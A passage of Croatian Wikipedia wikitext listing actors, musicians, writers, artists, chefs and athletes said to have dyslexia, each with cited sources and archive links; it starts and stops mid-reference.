[http://www.huffingtonpost.com/2012/09/25/steven-spielberg-dyslexic_n_1914316.html Steven Spielberg Is Dyslexic], 25. rujna 2012.</ref><ref>OK!, [http://www.ok.co.uk/celebrity-news/view/54410/Steven-Spielberg-turned-to-directing-to-escape-dyslexia-taunts/ Steven Spielberg turned to directing to escape dyslexia taunts] {{Webarchive|url=https://web.archive.org/web/20120930013500/http://www.ok.co.uk/celebrity-news/view/54410/Steven-Spielberg-turned-to-directing-to-escape-dyslexia-taunts/ |date=2012-09-30 }}, 27. rujna 2012.</ref><ref>Mendoza, N., [http://www.dailymail.co.uk/tvshowbiz/article-2208969/Steven-Spielberg-opens-dyslexia-battle.html?ito=feeds-newsxml 'Movies helped... they saved me from shame': Steven Spielberg opens up about dyslexia battle], Daily Mail, 26. rujna 2012.</ref> * [[Liv Tyler]], američka glumica<ref>E! True Hollywood Story (epizoda Steven and Liv Tyler), 2007., WENN, Liv's Dyslexia Hell, 27. travnja 2001.</ref> * [[Ruby Wax]], američka komičarka<ref>Jones, Liz, [http://www.dailymail.co.uk/home/you/article-1351016/Ruby-Wax-battle-depression-I-disease.html 'I will always have this disease': Ruby Wax on her battle with depression], Mail Online, 29. siječnja 2011.</ref> * [[Tracey Gold]], američka televizijska glumica<ref>Gold, T., McCarron, J., Room to Grow: An Appetite for Life, New Millennium Entertainment, 2004.</ref> * [[George Burns]], američki komičar, glumac i pisac<ref>Brunswick, N., [http://books.google.hr/books?id=cK7RBrv6MtUC&pg=PA1&lpg=PA1&dq=George+Burns+dyslexia&source=bl&ots=DlLdGWlxHd&sig=3B1fUrbN3D21uS5Tjk7IS1GGlzU&hl=en&redir_esc=y#v=onepage&q=George%20Burns%20dyslexia&f=false Living With Dyslexia], The Rosen Publishing Group, 2011.</ref> * [[Edward James Olmos]], američki glumac<ref>LA Times, [http://articles.latimes.com/1999/may/16/local/me-37850 When The Reading Light Went On], 16. svibnja 1999.</ref> * [[Brad Little]], američki glumac u [[mjuzikl]]ima<ref>Bradlittle.com, [http://www.bradlittle.com/phantoms-menace-battles-with-dyslexia-bullies-helped-actor-little-get-inside-head-of-tortured-character Phantom’s Menace: Battles with dyslexia, bullies helped actor Little] {{Webarchive|url=https://web.archive.org/web/20120208143816/http://www.bradlittle.com/phantoms-menace-battles-with-dyslexia-bullies-helped-actor-little-get-inside-head-of-tortured-character |date=2012-02-08 }}, 22.ožujka 2007.</ref> * [[Charley Boorman]], engleski pustolov, pisac i glumac<ref>Bowdler, Neil, [http://www.bbc.co.uk/news/10553942 Charley Boorman on a childhood spent with dyslexia], BBC News, 14. srpnja 2007.</ref> * [[James Earl Jones]], američki glumac<ref>The Dyslexic Reader, Famous Dyslexics Remember, 2005, br. 40, str. 11</ref> * [[George Clooney]], američki glumac, redatelj, scenarist i producent<ref>Richardson, R., [http://masonbuzz.com/2011/10/11/george-clooney-developed-star-power-in-mason/ George Clooney developed star power in Mason], 11. listopada 2011.</ref> * [[Will Smith]], američki filmski glumac i hip-hop pjevač<ref>Bright Star, [http://community.brightstar-learning.com/2011/willsmith/ Dyslexia and Will Smith] {{Webarchive|url=https://web.archive.org/web/20150306162914/http://community.brightstar-learning.com/2011/willsmith |date=2015-03-06 }}, 22. travnja 2011.</ref> * [[Angus Hepburn]], škotski glumac<ref>Angushepburn.com, [http://www.angushepburn.com/AGHintro.html Biography]</ref> * [[Nicole Betancourt]], američka glumica<ref>The Infinite Mind, [http://www.theinfinitemind.com/mind206.html Dyslexia] {{Webarchive|url=https://web.archive.org/web/20130515105357/http://theinfinitemind.com/mind206.html |date=2013-05-15 }}</ref> * [[Trudie Styler]], engleska glumica, aktivistica, [[UNICEF]]-ova veleposlanica<ref>Koplewicz, H., [http://www.huffingtonpost.com/dr-harold-koplewicz/trudie-styler-adhd-dyslexia_b_864453.html Trudie Styler on Living with ADHD and Dyslexia: Don't Give Up, Do Reach Out], The Huffington Post, 24. svibnja 2011.</ref> * [[Ian Ziering]], američki glumac<ref>Sporkin, D., [http://www.people.com/people/article/0,,20207505,00.html Ian Ziering Speaks Out About His Dyslexia], People, 21. lipnja 2008.</ref> * [[Chick Thompson]], producent<ref>Saunder, M., [http://www.udel.edu/PR/Messenger/94/3/13.html Knocking out killer phrases], Messenger, 1994., god. 3, br. 3, str. 3</ref> * [[Holly Willoughby]], televizijska voditeljica<ref>Daily Telegraph, [http://www.telegraph.co.uk/technology/twitter/6510511/Holly-Willoughby-tells-Twitter-followers-who-criticised-spelling-Im-dyslexic.html Holly Willoughby tells Twitter followers who criticised spelling 'I'm dyslexic'], 6. studenog 2009.</ref> {{col-end}} == Muzika == {{col-begin}} {{col-2}} * Geoff Barrow, engleski glazbenik<ref>Gieben, Bram, [http://www.theskinny.co.uk/music/features/301804-geoff_barrow_talks_drokk_2000ad_as_important_me_public_enemy Geoff Barrow talks DROKK: "2000AD is as important to me as Public Enemy"], The Skinny, 2. svibnja 2012.</ref> * [[Cher]], američka pjevačica i glumica, i Chaz Bono (prije poznat kao Chastity)<ref>Cher, The First Time, {{ISBN|0-684-80900-1}}. Godinama je Cher imala poteškoća u čitanju, snalaženju u vremenu i pisanju čekova. Nije otkrila da ima disleksiju sve dok Chazu Bonu nije bila postavljena dijagnoza. Izvor: Morton, Andrew, Tom Cruise: An Unauthorized Biography, St. Martin's Press, New York, 2008., {{ISBN|978-0-312-35986-7}}, str. 77</ref> * [[Noel Gallagher]], engleski glazbenik<ref>Muggs, Joe, [http://www.telegraph.co.uk/core/Content/displayPrintable.jhtml?xml=/health/2004/05/28/hdyslexia28.xml&site=13 I don't want dyslexia to be an issue]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, 28. svibnja 2004.</ref> * Paul Frappier (Bad News Brown), američki hip-hop glazbenik<ref>Fine, Phillip, Bad News Brown understood the power of music, Globe and Mail, 3. ožujka 2011.</ref> * Mollie King, pjevačica i tekstopisac<ref>Ricketts, Andy, [http://www.thirdsector.co.uk/Fundraising/article/1103693/john-suchet-visits-battersea-dogs-cats-home/ John Suchet visits Battersea Dogs & Cats Home], Third Sector Magazine, 15. studenog 2011.</ref><ref>Foster, Alastair, [http://www.thisislondon.co.uk/news/get-london-reading/id-have-loved-a-reading-mentor-says-dyslexic-saturdays-star-mollie-king-6364470.html I'd have loved a reading mentor, says dyslexic Saturdays star Mollie King] {{Webarchive|url=https://archive.today/20120919125759/http://www.thisislondon.co.uk/news/get-london-reading/id-have-loved-a-reading-mentor-says-dyslexic-saturdays-star-mollie-king-6364470.html |date=2012-09-19 }}, London Evening Standard, 3. studenog 2011.</ref> * [[John Lennon]], glazbenik i tekstopisac<ref>Liukkonen, Petri, [http://www.kirjasto.sci.fi/lennon.htm John Lennon (1940-1980)] {{Webarchive|url=https://web.archive.org/web/20120919015155/http://www.kirjasto.sci.fi/lennon.htm |date=2012-09-19 }}, Authors' Calendar, 30. srpnja 2010.</ref> * Mireille Mathieu, [[francuska]] pjevačica<ref>Mathieu, Mireille; Cartier, Jacqueline. ''Oui Je Crois Q'une Vie Ca Commence Avec Un Mot D'amour''. Paris: Robert Laffont, 1988.</ref> * [[Mika]], pjevač i tekstopisac<ref>Eggar, Robin, [http://entertainment.timesonline.co.uk/tol/arts_and_entertainment/music/article1830622.ece The man of musical Marmite - that's Mika. But love him or hate him, you can't miss that falsetto] {{Webarchive|url=https://web.archive.org/web/20100530143315/http://entertainment.timesonline.co.uk/tol/arts_and_entertainment/music/article1830622.ece |date=2010-05-30 }}, The Sunday Times, 27. svibnja 2007.</ref> * [[Róisín Murphy]], irska pjevačica<ref>Cream Magazine, One-of-a-kind singer songwriter, siječanj/veljača/ožujak 2008.; "Mučila sam se s disleksijom odmalena te sam zbog toga previdjela očekivana glazbena pravila..."</ref> * [[Paul Oakenfold]], glazbeni producent i ''[[trance]]'' [[Disc Jockey|DJ]]<ref>Boucher, Geoff, [http://articles.latimes.com/2006/jun/25/entertainment/ca-oakenfold25/2 Oakenfold (L.A. mix)], Los Angeles Times, 25. lipnja 2006.</ref> * [[Ozzy Osbourne]], britanski glazbenik<ref>Appleyard, Bryan, [http://www.timesonline.co.uk/article/0,,2099-1879431,00.html Blizzard of Oz]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}, The Sunday Times Magazine, 27. studenog 2005.</ref> * Daniel Powter, kanadski pjevač i tekstopisac<ref>Allmusic, [http://www.allmusic.com/artist/daniel-powter-mn0000544965 Daniel Powter's Biography]</ref> * Lee Ryan, engleski pjevač i tekstopisac<ref>Lee-ryan.org [http://www.lee-ryan.org službena stranica] {{Webarchive|url=https://web.archive.org/web/20190415202525/http://lee-ryan.org/ |date=2019-04-15 }}</ref> * Tim Scott, engleski gitarist<ref>Taylor, Paul, [http://www.timscott.co.uk/review01.htm#men Words, on the other hand, tend to slip away from him. For Tim, aged 32, has mastered his music only while battling with severe dyslexia.] {{Webarchive|url=https://web.archive.org/web/20131005001047/http://www.timscott.co.uk/review01.htm#men |date=2013-10-05 }}, Manchester Evening News, 2. srpnja 2004.</ref> * [[Joss Stone]], engleska pjevačica<ref>VH1, [http://www.vh1.com/movies/news/articles/1547720/20061211/story.jhtml Joss Stone Gets In Touch With Witchy Side For Film Debut In 'Eragon'] {{Webarchive|url=https://web.archive.org/web/20080104023635/http://www.vh1.com/movies/news/articles/1547720/20061211/story.jhtml |date=2008-01-04 }}, 12. prosinca 2006.</ref> {{col-2}} * [[Butch Walker]], američki pjevač i glazbeni producent<ref>Walker, Butch, Drinking with Strangers, 2011., William Morrow, {{ISBN|978-0-06-178731-7}}, str. 4</ref> * Bob Weir, američki gitarist<ref>Allmusic, [http://www.allmusic.com/artist/bob-weir-mn0000077175 Bob Weir's Biography]</ref> * [[Florence Welch]], engleska glazbenica<ref>Daily Mail, [http://www.dailymail.co.uk/tvshowbiz/article-1259870/Florence-Welch-rise-fame-led-bout-severe-depression.html 'I felt out of control': Florence Welch on how heartbreak and her rise to fame led to a bout of severe depression], 23. ožujka 2010.</ref> * [[Harry Belafonte]], američki pjevač i glumac<ref>Howell, Steve, [http://www.guardian.co.uk/world/2007/mar/14/usa.features11 I chose to be a civil rights warrior], The Guardian, 14. ožujka 2007.</ref> * Alison Goldfrapp, engleska glazbenica<ref>Sawyer, Miranda, [http://www.guardian.co.uk/music/2004/mar/21/popandrock Gold Rush], The Guardian, 21. ožujka 2004.</ref> * [[Enrico Caruso]], talijanski pjevač<ref>Key, Pierre, Enrico Caruso, a Biography, Forgotten Books, 2012.</ref> * [[Damon Albarn]], pjevač grupe [[Blur (glazbeni sastav)|Blur]], tekstopisac<ref>PR Week, [http://www.prweek.com/uk/news/231674/ Dyslexia group enlists celebs for schools campaign]{{Dead link|date=November 2022 |bot=InternetArchiveBot |fix-attempted=yes }}, 7. siječnja 2001.</ref> * Nanci Griffith, američka pjevačica<ref>The Independent, [http://www.independent.co.uk/arts-entertainment/essay-its-a-hard-life-wherever-you-go-for-the-last-great-folk-heroine-1188092.html Essay: `It's a hard life wherever you go' for the last, great, folk heroine], 29. studenog 1998.</ref> * [[Jewel (pjevačica)|Jewel]], pjevačica<ref>People.com, [http://www.people.com/people/archive/article/0,,20141224,00.html Vantastic Voyage], 6. svibnja 1996.</ref> * [[Tom Jones]], britanski pjevač<ref>The Huffington Post, [http://www.huffingtonpost.co.uk/2012/04/23/tom-jones-dyslexia-king-of-the-teds_n_1445140.html Dyslexic Sir Tom Jones Struggles To Learn Lines For New Role In 'King Of The Teds'], 23. travnja 2012.</ref> * [[Usher]], pjevač<ref>E! True Hollywood Story, sezona 14, epizoda 1, 27. siječnja 2010.</ref> * Sarah Brightman, engleska pjevačica<ref>Ott, P., Teaching Chidren With Dyslexia: A Practical Guide, Routledge, 2007., {{ISBN|978-0-415-32454-0}}</ref> * [[Shane Lynch]], pjevač grupe [[Boyzone]]<ref>Lee, A., [http://www.express.co.uk/life-style/health/367974/Boyzone-star-Shane-Lynch-s-secret-struggle-to-read-and-write Boyzone star Shane Lynch's secret struggle to read and write], 1. siječnja 2013.</ref> * Nigel Kennedy, britanski violinist<ref>Matthews, V., [http://www.telegraph.co.uk/education/educationadvice/9764563/Child-learning-difficulties-choosing-the-right-school.html Child learning difficulties: choosing the right school], 1. siječnja 2013., The Telegraph</ref> * [[Britney Spears]], pjevačica<ref>Famous Dyslexic People, [http://www.famousdyslexicpeople.com/442/britney-spears/ Britney Spears] {{Webarchive|url=https://web.archive.org/web/20130120131118/http://www.famousdyslexicpeople.com/442/britney-spears/ |date=2013-01-20 }}, 20. prosinca 2011.</ref> {{col-end}} == Književnost == {{col-begin}} {{col-2}} * [[Dragojla Jarnević]], hrvatska spisateljica i pjesnikinja<ref name="hud"/> * [[Hans Christian Andersen]], [[Danska|danski]] pisac<ref>Surfnetkids, [http://www.lightafire.net/hans-christian-andersen-biography/434/ Hans Christian Andersen Biography]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> * Louise Arnold, britanska spisateljica<ref>Oakes, Keily, [http://news.bbc.co.uk/1/hi/entertainment/arts/4672991.stm BBC winner realises writing dream], News.bbc.co.uk, 13. srpnja 2005.</ref> * Michael "Atters" Attree, engleski [[Satira|satiričar]] i komičar<ref>Brighton Fringe Festival, [http://www.festivalpreviews.com/blog/page/4.html 2010 Brighton Fringe Festival: Atters Interview (Question 8, number 4)] {{Webarchive|url=https://web.archive.org/web/20101110090552/http://www.festivalpreviews.com/blog/page/4.html |date=2010-11-10 }}</ref> * Roberto Bolaño, [[čile]]anski romanopisac i pjesnik<ref>Kerr, Sarah, [http://www.nybooks.com/articles/archives/2008/dec/18/the-triumph-of-roberto-bolano/ The Triumph of Roberto Bolaño], The New York Review of Books, 18. prosinca 2008.</ref> * Octavia Butler, američka SF spisateljica<ref>Eshun, Kodwo, [http://www.guardian.co.uk/news/2006/mar/16/guardianobituaries.bookscomment Obituary (The Guardian)], 25. srpnja 2008.</ref> * Samuel R. Delany, američki [[Znanstvena fantastika|SF]] pisac i [[Književna kritika|književni kritičar]]<ref>Samuel R. Delany, The Motion of Light in Water: Sex and Science Fiction Writing in the East Village {{ISBN|0-8166-4523-X}}</ref> * Richard Ford, američki pisac<ref>RN Book Show - 10 June 2007 - Richard Ford's Lay of the Land, [http://www.abc.net.au/rn/bookshow/stories/2007/1946268.htm Richard Ford's Lay of the Land interview]</ref> * Terry Goodkind, američki pisac<ref>USA Today, [http://cgi1.usatoday.com/mchat/20030805003/tscript.htm 'Naked Empire': Author Terry Goodkind], 8. travnja 2003.</ref> * John Irving, američki romanopisac<ref>Web Archive, Queen's university of Charlotte, [https://web.archive.org/web/20060908122622/http://www.queens.edu/print_news.asp?press_id=1249 John Irving Captivates Sold-out Crowd at Queens]</ref> * Don Mullan, irski pisac, producent i humanitarac<ref>The International Dyslexia Association, [http://www.interdys.org/FAQOtherWellKnownDyslexics.htm Other well-known people thought to have dyslexia] {{Webarchive|url=https://web.archive.org/web/20090924013858/http://www.interdys.org/FAQOtherWellKnownDyslexics.htm |date=2009-09-24 }}</ref><ref>Dyslexia, Association of Ireland, [http://www.dyslexia.ie/Don%20Mullan%20Conference%202004.pdf Don Mullan Conference] {{Webarchive|url=https://web.archive.org/web/20071119034609/http://www.dyslexia.ie/Don%20Mullan%20Conference%202004.pdf |date=2007-11-19 }}</ref> * Benjamin Zephaniah, engleski ''dub'' pjesnik<ref>British Council, [http://www.britishcouncil.org/argentina-arts-zephaniah_about.htm Benjamin Zephaniah: A poet to be seen and heard]</ref> * Lynda La Plante, engleska spisateljica, scenaristica i bivša glumica<ref>Brunker, Amanda, [http://www.sundayworld.com/showbiz/brunker-meets.php?aid=581 Crime novelist Lynda La Plante]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, Sunday World</ref> * Scott Adams, autor ''Dilberta''<ref>Dilbert.com, [http://dilbert.com/blog/entry/perceptual_super_power/ Perceptual Super Power] {{Webarchive|url=https://web.archive.org/web/20120310221655/http://www.dilbert.com/blog/entry/perceptual_super_power |date=2012-03-10 }}, 6. veljače 2012.</ref> * [[Gustave Flaubert]], francuski [[proza]]ist<ref name="The Dyslexic Reader 2003">The Dyslexic Reader, Famous Dyslexics Remember, 2003, br. 33, str. 18</ref> * Victor Villaseñor, [[Meksiko|meksičko]]-američki pisac<ref name="The Dyslexic Reader 2009">The Dyslexic Reader, Famous Dyslexics Remember, 2009, br. 51, str. 11</ref> * Sally Gardner, engleska dječja spisateljica i ilustratorica<ref>Gardner, S., [http://www.guardian.co.uk/commentisfree/2013/jun/24/dyslexia-not-a-disability-gift Dyslexia is not a disability – it's a gift], The Guardian, 24. lipnja 2013.</ref><ref name="The Dyslexic Reader 2008">The Dyslexic Reader, Famous Dyslexics Remember, 2008, br. 50, str. 9</ref> * Bernie Taylor, američki pisac<ref name="The Dyslexic Reader 2010">The Dyslexic Reader, Famous Dyslexics Remember, 2010, br. 54, str. 22</ref> * Debbie Macomber, američka spisateljica<ref name="The Dyslexic Reader 2007">The Dyslexic Reader, Famous Dyslexics Remember, 2007, br. 44, str. 17</ref> * Alice Sebold, američka spisateljica<ref>The Dyslexic Reader, Famous Dyslexics Remember, 2008, br. 47, str. 5</ref> * [[William Butler Yeats]], [[Irska|irski]] pjesnik i dramski pisac<ref>The Dyslexic Reader, Famous Dyslexics Remember, 205, br. 40, str. 11</ref> {{col-2}} * [[Agatha Christie]], engleska spisateljica<ref name="ReferenceA">The Dyslexic Reader, Famous Dyslexics Remember, 2003, br. 32. str. 16</ref> * Philip Schultz, pjesnik<ref>[http://dyslexia.yale.edu/schultz.html Philip Schultz], The Yale Center for Dyslexia & Creativity</ref> * Jeanne Betancourt, spisateljica<ref>[http://dyslexia.yale.edu/betancourt.html Jeanne Betancourt], The Yale Center for Dyslexia & Creativity</ref> * Avi (Edward Irving Wortis), američki pisac za djecu i mlade<ref>LisaRivero.com, [http://www.lisarivero.com/2011/02/10/avi/ Avi on Writer’s Block, Having Symptoms of Dyslexia, and Responding Generously] {{Webarchive|url=https://web.archive.org/web/20120824031315/http://www.lisarivero.com/2011/02/10/avi/ |date=2012-08-24 }}, 10. veljače 2011.</ref> * John Corrigan, američki romanopisac<ref>Karp, Josh, [http://www.beatrice.com/interviews/corrigan/ John Corrigan], Beatrice Interview</ref> * Larry Chambers, američki pisac<ref>Chambers, Lary, [http://www.amazon.com/gp/cdp/member-reviews/A3JLHJ6U5QLAL5/103-8675917-3489462?_encoding=UTF8 The missing part of my life], 16. studenog 2005. (osvrt na knjigu R. Davisa ''Dar disleksije'' na Amazon.com</ref> * [[Francis Scott Fitzgerald]], američki romanopisac<ref>Schultz, Philip, [http://www.nytimes.com/2011/09/04/opinion/sunday/with-dyslexia-words-failed-me-and-then-saved-me.html Words Failed, Then Saved Me], New York Times, 3. rujna 2011.</ref> * Byron Pitts, američki novinar i pisac<ref>Phalen, E.A., [http://www.huffingtonpost.com/earl-martin-phalen/byron-pitts-overcoming-illiteracy_b_844055.html Byron Pitts of CBS on Overcoming Illiteracy, the Power of Parents], The Huffington Post, 6. travnja 2011.</ref> * Patricia Polacco, američka spisateljica i ilustratorica<ref>[ http://www.patriciapolacco.com/author/bio/bio.html {{Webarchive|url=https://web.archive.org/web/20060614224359/http://www.patriciapolacco.com/author/bio/bio.html |date=2006-06-14 }} Who Am I?], PatriciaPolacco.com</ref> * Eileen Simpson, američka spisateljica<ref>Smith, Dinitia, [http://www.nytimes.com/2002/10/24/arts/eileen-simpson-84-memoirist-of-life-with-john-berryman.html Eileen Simpson, 84, Memoirist Of Life With John Berryman], The New York Times, 24. listopada 2002.</ref> * Natasha Solomons, britanska spisateljica<ref>Savidge Reads, [http://savidgereads.wordpress.com/2011/05/27/savidge-reads-grills-natasha-solomons/ Natasha Solomons], 27. svibnja 2011.</ref> * [[Roald Dahl]], britanski književnik<ref>Barraclough, Sue, I Know Someone With Dyslexia, Raintree Hardbacks, 2011.</ref> * Esther Freud, britanska spisateljica<ref>Law, K., [http://www.standard.co.uk/lifestyle/how-lucian-freuds-daughter-beat-dyslexia-and-rejection-6386088.html How Lucian Freud's daughter beat dyslexia and rejection], London Evening Standard, 29. ožujka 2011.</ref> * Lord Willis, britanski pisac<ref>Critchley, M., Critchley, E., Dyslexia Defined, W. Heinemann Medical Books, 1978., str. 161</ref> * Murray Lachlan Young, pjesnik<ref>The Independent, [http://www.independent.co.uk/life-style/overheard-1252845.html Overheard]{{Dead link|date=September 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, 27. srpnja 1997.</ref> * Elizabeth Daniels, autorica detektivskih romana<ref>Underwood Grant, A., [http://www.booktalk.com/edsquire/tribute.html A Tribute to Elizabeth Daniels Squire] {{Webarchive|url=https://web.archive.org/web/20120229000513/http://www.booktalk.com/edsquire/tribute.html |date=2012-02-29 }}, Book Talk</ref> * [[Ernest Hemingway]], američki pisac i novinar<ref>Wood, T., Overcoming Dyslexia For Dummies, John Wiley & Sons, 2005.</ref> * [[Lewis Carroll]], engleski pisac i matematičar<ref>West, T., In the Mind's Eye: Visual Thinkers - Gifted People with Dyslexia and Other Learning Difficulties, Prometheus Books, 1997.</ref> * Girard Sagmiller, pisac<ref>KinaLearn, [http://kinalearn.com/tag/girard-sagmiller/ Girard Sagmiller explains being Dyslexic] {{Webarchive|url=https://web.archive.org/web/20220814035845/http://kinalearn.com/tag/girard-sagmiller/ |date=2022-08-14 }}, 17. rujna 2010.</ref> * John Edmund Delezen, američki pisac<ref>Delezen, John E., Eye of the Tiger: Memoir of a United States Marine, Third Force Recon Company, Vietnam, McFarland & Company, 2003., {{ISBN|978-0-7864-1656-1}}</ref> * Danielle Mullen, dramatičarka<ref>Donaldson, G., [http://msa.maryland.gov/megafile/msa/speccol/sc5300/sc5339/000113/000000/000448/unrestricted/20040929e/2-art.html The 1999 Playwright Discovery Awards], Maryland State Archives, prosinac 1999.</ref> {{col-end}} == Umjetnost == * [[Pablo Picasso]], [[Španjolska|španjolski]] umjetnik, kipar<ref name="Famous People">DyslexiaOnline.com, [http://www.dyslexiaonline.com/famous/famous.htm Famous People With Dyslexia]</ref> * Robert Rauschenberg, američki umjetnik<ref>Conniff, Tamara, [http://news.google.com/newspapers?id=G0EgAAAAIBAJ&sjid=6X0EAAAAIBAJ&dq=struggle%20with%20dyslexia&pg=3760%2C942178 Common objectism uncommon artist], Sarasota Herald-Tribune, 6. travnja 1999., str. 1E–2E</ref> * Jo Self, engleska umjetnica<ref>BBC, [http://www.bbc.co.uk/bbcfour/paintingflowers/generic/jo_self_text.shtml Painting Flower], travanj 2004.</ref> * [[Leonardo da Vinci]], talijanski slikar, arhitekt, izumitelj<ref>The Dyslexic Reader, Famous Dyslexics Remember, 2004, br. 34, str. 9</ref><ref name="Your Life 1997">Nosek, K., Dyslexia in Adults: Taking Charge of Your Life, Taylor Trade Publications, 1997., str. 165</ref> * David Bailey, fotograf<ref>[http://pdngallery.com/legends/bailey/interview01.shtml David Bailey] {{Webarchive|url=https://web.archive.org/web/20120607043515/http://www.pdngallery.com/legends/bailey/interview01.shtml |date=2012-06-07 }}, Photo District News</ref> * Chuck Close, američki slikar i fotograf<ref>[http://www.guardian.co.uk/artanddesign/2005/oct/09/art Head Master], The Observer, 9. listopada 2005.</ref> * Ian Marley, umjetnik<ref>[http://www.friedcontemporary.com/ian.html Ian Marley, Artist Statement] {{Webarchive|url=https://web.archive.org/web/20081006213410/http://www.friedcontemporary.com/ian.html |date=2008-10-06 }}, Fried Contemporary Art Gallery</ref> * [[Auguste Rodin]], kipar<ref>Ott, P., How to Detect and Manage Dyslexia: A Reference and Resource Manual, Heinemann ed, 1997</ref> * Bennett Strahan, američki slikar<ref>[http://www.bennettstrahan.com/ www.bennettstrahan.com]</ref> * Robert Toth, američki slikar i kipar<ref>[http://add.about.com/od/livingwithadhd/a/RobertToth.htm Robert Toth] {{Webarchive|url=https://web.archive.org/web/20130511131525/http://add.about.com/od/livingwithadhd/a/RobertToth.htm |date=2013-05-11 }}, About.com</ref> * [[Andy Warhol]], američki umjetnik<ref>Woronov, Mary, Swimming Underground: My Years in the Warhol Factory, Serpent's Tail, 2000, str. 38</ref> * Willard Wigan, umjetnik<ref>[http://dyslexia.yale.edu/Wigan.html Willard Wigan], The Yale Center for Dyslexia & Creativity</ref> * [[Ansel Adams]], američki fotograf<ref name="The Dyslexic Reader 2008"/> * Mackenzie Thorpe, britanski umjetnik<ref>MackenzieThorpe.net, [http://www.mackenziethorpe.net/mack/biography.aspx Biography] {{Webarchive|url=https://web.archive.org/web/20130111013449/http://www.mackenziethorpe.net/mack/biography.aspx |date=2013-01-11 }}</ref> * Darcey Bussell, [[Balet|balerina]]<ref>Hardy, R., [http://www.dailymail.co.uk/tvshowbiz/article-2186272/Darcey-Bussell-Why-I-normal-mother.html 'Why I can never be a normal mother'], Mail Online, 9. kolovoza 2012.</ref> * Antony Gormley, britanski kipar<ref>Vidler, A., Stewart, S., Mitchell, W., Antony Gormley: blind light, Hayward Publishing, 2007.</ref> * Simon Menzies,škotski slikar<ref>Simonmenzies.com.uk, [http://www.simonmenzies.co.uk/Welcome.html Službena stranica] {{Webarchive|url=https://web.archive.org/web/20131215192959/http://www.simonmenzies.co.uk/Welcome.html |date=2013-12-15 }}</ref> * [[Michelangelo Buonarroti]], umjetnik<ref>Langston, R., The Power of Dyslexic Thinking, AuthorHouse, 2012.</ref> * John Ferrie, umjetnik<ref>Wolak, R., [http://tasteandsipmagazine.com/2012/03/14/interview-with-artist-john-ferrie/ Interview with Artist John Ferrie], 14. ožujka 2012.</ref> * Patricia Buckley Moss, umjetnica<ref>McBride Gallery, [http://www.mcbridegallery.com/moss/moss.html "The People's Artist"] {{Webarchive|url=https://web.archive.org/web/20130730062455/http://www.mcbridegallery.com/moss/moss.html |date=2013-07-30 }}</ref> * Allison Lee Merriweather, američka slikarica<ref>Merriweather, A.L., [http://www.ldonline.org/firstperson/Allison_Lee_Merriweather Personal Stories: Allison Lee Merriweather] {{Webarchive|url=https://web.archive.org/web/20130605121309/http://www.ldonline.org/firstperson/Allison_Lee_Merriweather |date=2013-06-05 }}, LD Online</ref> * Nicola Hicks, engleska kiparica<ref>Alberge, D., [http://www.independent.co.uk/arts-entertainment/art/in-the-studio--animal-vegetable-or-mineral-nicola-hickss-animal-sculptures-involve-plaster-pets-and-mountains-of-straw-dalya-alberge-met-her-1392775.html IN THE STUDIO / Animal, vegetable or mineral?], The Independent, 8. veljače 1994.</ref> * [[Vincent van Gogh]], umjetnik<ref>Charles, V., Vincent Van Gogh, Parkstone International, 2011.</ref> * Ignacio Gomez, muralist<ref>IgnacioGomez.com, [http://www.ignaciogomez.com/bio.html Biography] {{Webarchive|url=https://web.archive.org/web/20130623115107/http://www.ignaciogomez.com/bio.html |date=2013-06-23 }}, preuzeto 22. veljače 2013.</ref> == Kulinarstvo == * [[Jamie Oliver]], engleski chef<ref>Walker, Andrew, [http://news.bbc.co.uk/1/hi/magazine/4394025.stm Profile Jamie Oliver], BBC News</ref> * Andrew Dornenburg, američki chef<ref>[http://www.becomingachef.com/media_room_2004.php 2004 Media Room] {{Webarchive|url=https://web.archive.org/web/20111123152245/http://www.becomingachef.com/media_room_2004.php |date=2011-11-23 }}, Becomingachef.com</ref> * AA Gill, gastronomski kritičar i pisac<ref>Barber, L., [http://www.guardian.co.uk/lifeandstyle/2008/may/25/recipes.foodanddrink2 Let him eat cake], The Guardian, 25. svibnja 2008.</ref> * James Martin, engleski chef<ref>Lewis, R., [http://www.dailymail.co.uk/femail/article-2169307/Me-school-photo-James-Martin-remembers-quiet-fairly-shy.html Me and my school photo: James Martin remembers being quiet and fairly shy], Mail Online, 6. srpnja 2012.</ref><ref>Sewards, L., [http://www.dailymail.co.uk/femail/article-2289758/James-Martin-says-dyslexia-drove-success-How-TV-chef-built-5m-fortune-despite-unable-read.html?ito=feeds-newsxml Dyslexia drove me to success], Mail Online, 8. ožujka 2013.</ref> * Marco Pierre-White, britanski chef<ref>Moore-Bridger, B., [http://www.standard.co.uk/news/get-london-reading/reading-aloud-in-class-broke-my-confidence-says-chef-marco-pierre-white-6428231.html Reading aloud in class broke my confidence, says chef Marco Pierre White], London Evening Standard, 1. kolovoza 2011.</ref> * Rick Stein, engleski chef<ref>Rickstein.com, [http://www.rickstein.com/Rick-Stein.html Rick Stein] {{Webarchive|url=https://web.archive.org/web/20121022182701/http://www.rickstein.com/Rick-Stein.html |date=2012-10-22 }}</ref> * Brian Turner, britanski chef<ref>New Zealand Listener, Brian Turner on Paradise lost, svibanj 8-14, 2010.</ref> * Kevin Viner, engleski chef<ref name="caterer">[http://www.catererandhotelkeeper.co.uk/Articles/02/07/1998/12662/Too-gifted-for-words.htm Too gifted for words]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}, 2. srpnja 1998.</ref> * David Whiffen, britanski chef<ref name="caterer"/> == Sport == {{col-begin}} {{col-2}} * Jeremy Bonderman, američki igrač [[bejzbol]]a<ref>Web Archive, Detroit Free Press, [https://web.archive.org/web/20070926231526/http://www.freep.com/apps/pbcs.dll/article?AID=%2F20060507%2FSPORTS02%2F605070680%2F1050 FAMILY, FORDS AND FASTBALLS: Tigers starter Jeremy Bonderman stays true to small-town, blue-jeans roots]</ref> * Jason Conley, američki [[košarka]]š<ref>Schmidt, Neil, [http://www.enquirer.com/editions/2002/02/16/spt_five_questions_with.html Five questions with Jason Conley], The Cincinnati Enquirer, 16. veljače 2002.</ref> * Frank Gore, igrač [[Američki nogomet|američkog nogometa]]<ref>USA Today, [http://www.usatoday.com/sports/football/2007-09-13-1272576651_x.htm Niners RB Frank Gore misses practice after mother's death], 13. rujna 2007.</ref> * Bruce Jenner, američki [[Atletika|atletičar]]<ref>{{Cite web |title=Official Bruce 